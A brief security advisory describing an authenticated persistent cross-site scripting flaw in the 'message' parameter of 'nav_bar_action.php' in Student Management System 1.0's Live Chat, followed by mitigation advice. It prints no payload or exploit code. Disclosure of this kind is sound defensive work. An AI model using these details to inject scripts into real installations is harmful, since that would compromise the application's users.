Student Management System 1.0 – ‘message’ Persistent Cross-Site Scripting (Authenticated)

The web application allows for an Attacker to inject persistent Cross-Site-Scripting payload in Live Chat. An attacker can inject a malicious payload in the 'message' parameter of the 'nav_bar_action.php' page and send it to the server. This will result in a persistent XSS vulnerability.

Mitigation:

Input validation should be used to prevent malicious payloads from being injected into the application. The application should also be configured to use a Content Security Policy (CSP) to prevent malicious scripts from being executed.
